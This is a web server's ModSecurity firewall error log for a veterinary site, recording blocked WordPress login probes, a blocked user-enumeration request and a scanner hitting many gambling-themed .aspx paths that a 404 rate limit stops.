[Mon Feb 09 11:14:43.083454 2026] [:error] [pid 47937:tid 47958] [client 121.229.185.160:39117] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYlRI84Fd42MP2DhNrWAjwAAAAw"]
[Mon Feb 09 12:02:22.956858 2026] [:error] [pid 47938:tid 47980] [client 158.178.244.91:55097] [client 158.178.244.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.178.244.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYlcTrVCzWE6fQJEkNKZKQAAAEE"], referer: https://www.bing.com/
[Mon Feb 09 12:02:33.852726 2026] [:error] [pid 47938:tid 47990] [client 158.178.244.91:55097] [client 158.178.244.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aYlcWbVCzWE6fQJEkNKZRwAAAEs"], referer: https://wordpress.org/
[Mon Feb 09 12:02:37.565029 2026] [:error] [pid 47938:tid 48002] [client 158.178.244.91:55097] [client 158.178.244.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.178.244.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYlcXbVCzWE6fQJEkNKZXQAAAFc"], referer: https://vetstars.com.au/wp-login.php
[Mon Feb 09 12:02:44.836825 2026] [:error] [pid 47938:tid 47994] [client 158.178.244.91:55097] [client 158.178.244.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.178.244.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYlcZLVCzWE6fQJEkNKZnQAAAE8"], referer: https://vetstars.com.au/wp-login.php
[Mon Feb 09 12:02:47.657662 2026] [:error] [pid 47938:tid 47985] [client 158.178.244.91:55097] [client 158.178.244.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.178.244.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYlcZ7VCzWE6fQJEkNKZpQAAAEY"], referer: https://vetstars.com.au/wp-login.php
[Mon Feb 09 12:02:53.174179 2026] [:error] [pid 47938:tid 47979] [client 158.178.244.91:55097] [client 158.178.244.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.178.244.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYlcbbVCzWE6fQJEkNKZpwAAAEA"], referer: https://vetstars.com.au/wp-login.php
[Mon Feb 09 12:02:55.786358 2026] [:error] [pid 47938:tid 48000] [client 158.178.244.91:55097] [client 158.178.244.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.178.244.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYlcb7VCzWE6fQJEkNKZrwAAAFU"], referer: https://vetstars.com.au/wp-login.php
[Mon Feb 09 15:11:04.809592 2026] [:error] [pid 60619:tid 60647] [client 54.37.254.218:45920] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYmIiHEpg0UoeR8kJ-34UwAAAkY"]
[Mon Feb 09 15:11:07.343257 2026] [:error] [pid 60676:tid 60690] [client 54.37.254.218:32896] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYmIi3hKcn7mJYMx5_BwrwAAAoY"]
[Mon Feb 09 15:11:09.888350 2026] [:error] [pid 47937:tid 47947] [client 54.37.254.218:35670] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYmIjc4Fd42MP2DhNrWy8gAAAAE"]
[Mon Feb 09 15:11:12.608979 2026] [:error] [pid 60508:tid 60511] [client 54.37.254.218:35674] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYmIkOXDvLC4ADfnEzOQQwAAAYE"]
[Mon Feb 09 15:11:15.271304 2026] [:error] [pid 18303:tid 18328] [client 54.37.254.218:35684] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYmIk0Y7TEaZkFrGG4locgAAARc"]
[Mon Feb 09 15:11:17.932515 2026] [:error] [pid 60508:tid 60523] [client 54.37.254.218:35694] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYmIleXDvLC4ADfnEzOQSAAAAY0"]
[Mon Feb 09 15:11:20.648445 2026] [:error] [pid 60679:tid 60768] [client 54.37.254.218:40632] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYmImMixhoT1e6Iv6g-wnwAAA1I"]
[Mon Feb 09 15:11:23.365190 2026] [:error] [pid 47937:tid 47955] [client 54.37.254.218:40648] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYmIm84Fd42MP2DhNrWzAQAAAAk"]
[Mon Feb 09 15:11:26.044655 2026] [:error] [pid 47938:tid 47999] [client 54.37.254.218:40656] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYmInrVCzWE6fQJEkNLaeAAAAFQ"]
[Mon Feb 09 15:11:28.607991 2026] [:error] [pid 60679:tid 60730] [client 54.37.254.218:40664] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYmIoMixhoT1e6Iv6g-wqgAAA0E"]
[Mon Feb 09 15:11:31.128818 2026] [:error] [pid 60676:tid 60703] [client 54.37.254.218:59930] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYmIo3hKcn7mJYMx5_Bw1QAAApM"]
[Mon Feb 09 15:11:33.778314 2026] [:error] [pid 60619:tid 60647] [client 54.37.254.218:59942] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYmIpXEpg0UoeR8kJ-34dAAAAkY"]
[Mon Feb 09 15:11:36.476783 2026] [:error] [pid 47938:tid 47984] [client 54.37.254.218:59944] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYmIqLVCzWE6fQJEkNLaggAAAEU"]
[Mon Feb 09 15:11:39.057254 2026] [:error] [pid 60678:tid 60789] [client 54.37.254.218:48754] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYmIq-8Gd_fDFrcNu4N-XgAAAxg"]
[Mon Feb 09 15:11:41.545115 2026] [:error] [pid 60589:tid 60592] [client 54.37.254.218:48770] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYmIrTIJyhPWC0JyMLxJagAAAcE"]
[Mon Feb 09 15:11:44.269366 2026] [:error] [pid 60677:tid 60717] [client 54.37.254.218:48780] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYmIsFyBgzfmDf6GaetnwQAAAsY"]
[Mon Feb 09 15:11:46.949609 2026] [:error] [pid 60676:tid 60699] [client 54.37.254.218:48782] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYmIsnhKcn7mJYMx5_Bw5QAAAo8"]
[Mon Feb 09 15:11:49.600027 2026] [:error] [pid 60677:tid 60773] [client 54.37.254.218:40964] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYmItVyBgzfmDf6GaetnzwAAAtY"]
[Mon Feb 09 15:11:52.322781 2026] [:error] [pid 60679:tid 60757] [client 54.37.254.218:40978] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYmIuMixhoT1e6Iv6g-w1QAAA00"]
[Mon Feb 09 15:11:55.002862 2026] [:error] [pid 60619:tid 60672] [client 54.37.254.218:40990] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYmIu3Epg0UoeR8kJ-34jQAAAlY"]
[Mon Feb 09 15:11:57.770065 2026] [:error] [pid 60589:tid 60610] [client 54.37.254.218:41000] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYmIvTIJyhPWC0JyMLxJeAAAAdM"]
[Mon Feb 09 15:12:29.062459 2026] [:error] [pid 60677:tid 60753] [client 54.37.254.218:42690] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYmI3VyBgzfmDf6GaetoHQAAAtE"]
[Mon Feb 09 15:12:30.289984 2026] [:error] [pid 60677:tid 60715] [client 54.37.254.218:42692] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aYmI3lyBgzfmDf6GaetoIgAAAsQ"]
[Mon Feb 09 15:12:31.614478 2026] [:error] [pid 18303:tid 18319] [client 54.37.254.218:38878] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYmI30Y7TEaZkFrGG4lovgAAAQ4"]
[Mon Feb 09 15:12:33.145903 2026] [:error] [pid 60508:tid 60523] [client 54.37.254.218:38890] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYmI4eXDvLC4ADfnEzOQnQAAAY0"]
[Mon Feb 09 15:12:34.258501 2026] [:error] [pid 60589:tid 60603] [client 54.37.254.218:38898] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYmI4jIJyhPWC0JyMLxJqgAAAcw"]
[Mon Feb 09 15:12:35.705720 2026] [:error] [pid 47938:tid 47996] [client 54.37.254.218:38900] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYmI47VCzWE6fQJEkNLazAAAAFE"]
[Mon Feb 09 15:12:36.890386 2026] [:error] [pid 60619:tid 60671] [client 54.37.254.218:38908] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYmI5HEpg0UoeR8kJ-341QAAAlU"]
[Mon Feb 09 15:12:38.553185 2026] [:error] [pid 47937:tid 47962] [client 54.37.254.218:38912] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYmI5s4Fd42MP2DhNrWzdAAAABA"]
[Mon Feb 09 15:12:39.414339 2026] [:error] [pid 60678:tid 60763] [client 54.37.254.218:38636] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYmI5-8Gd_fDFrcNu4N-iwAAAw0"]
[Mon Feb 09 15:12:41.150458 2026] [:error] [pid 47937:tid 47952] [client 54.37.254.218:38652] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYmI6c4Fd42MP2DhNrWzewAAAAY"]
[Mon Feb 09 15:12:41.932964 2026] [:error] [pid 60619:tid 60668] [client 54.37.254.218:38654] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYmI6XEpg0UoeR8kJ-344QAAAlI"]
[Mon Feb 09 15:12:44.116699 2026] [:error] [pid 47937:tid 47957] [client 54.37.254.218:38668] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYmI7M4Fd42MP2DhNrWzfQAAAAs"]
[Mon Feb 09 15:12:44.342693 2026] [:error] [pid 47938:tid 47985] [client 54.37.254.218:38674] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYmI7LVCzWE6fQJEkNLa3QAAAEY"]
[Mon Feb 09 15:12:46.805789 2026] [:error] [pid 60677:tid 60739] [client 54.37.254.218:38684] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYmI7lyBgzfmDf6GaetocQAAAs4"]
[Mon Feb 09 15:12:46.844448 2026] [:error] [pid 60508:tid 60517] [client 54.37.254.218:38700] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYmI7uXDvLC4ADfnEzOQqQAAAYc"]
[Mon Feb 09 15:12:49.414645 2026] [:error] [pid 60508:tid 60516] [client 54.37.254.218:57498] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYmI8eXDvLC4ADfnEzOQrQAAAYY"]
[Mon Feb 09 15:12:49.481428 2026] [:error] [pid 60508:tid 60513] [client 54.37.254.218:57508] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYmI8eXDvLC4ADfnEzOQrgAAAYM"]
[Mon Feb 09 15:12:51.887314 2026] [:error] [pid 47937:tid 47965] [client 54.37.254.218:57512] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYmI884Fd42MP2DhNrWzhAAAABM"]
[Mon Feb 09 15:12:52.137826 2026] [:error] [pid 60677:tid 60776] [client 54.37.254.218:57514] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYmI9FyBgzfmDf6GaetohQAAAtc"]
[Mon Feb 09 15:12:54.431864 2026] [:error] [pid 60677:tid 60719] [client 54.37.254.218:57526] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYmI9lyBgzfmDf6GaetojgAAAsg"]
[Mon Feb 09 15:12:54.900578 2026] [:error] [pid 60619:tid 60663] [client 54.37.254.218:57534] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYmI9nEpg0UoeR8kJ-35CQAAAk0"]
[Mon Feb 09 15:12:57.130871 2026] [:error] [pid 60677:tid 60716] [client 54.37.254.218:57548] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYmI-VyBgzfmDf6GaetonwAAAsU"]
[Mon Feb 09 15:12:57.664249 2026] [:error] [pid 18303:tid 18305] [client 54.37.254.218:57560] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYmI-UY7TEaZkFrGG4lo6AAAAQA"]
[Mon Feb 09 15:12:59.748663 2026] [:error] [pid 60677:tid 60716] [client 54.37.254.218:45852] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYmI-1yBgzfmDf6GaetotwAAAsU"]
[Mon Feb 09 15:13:00.298218 2026] [:error] [pid 18303:tid 18328] [client 54.37.254.218:45862] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYmI_EY7TEaZkFrGG4lo7QAAARc"]
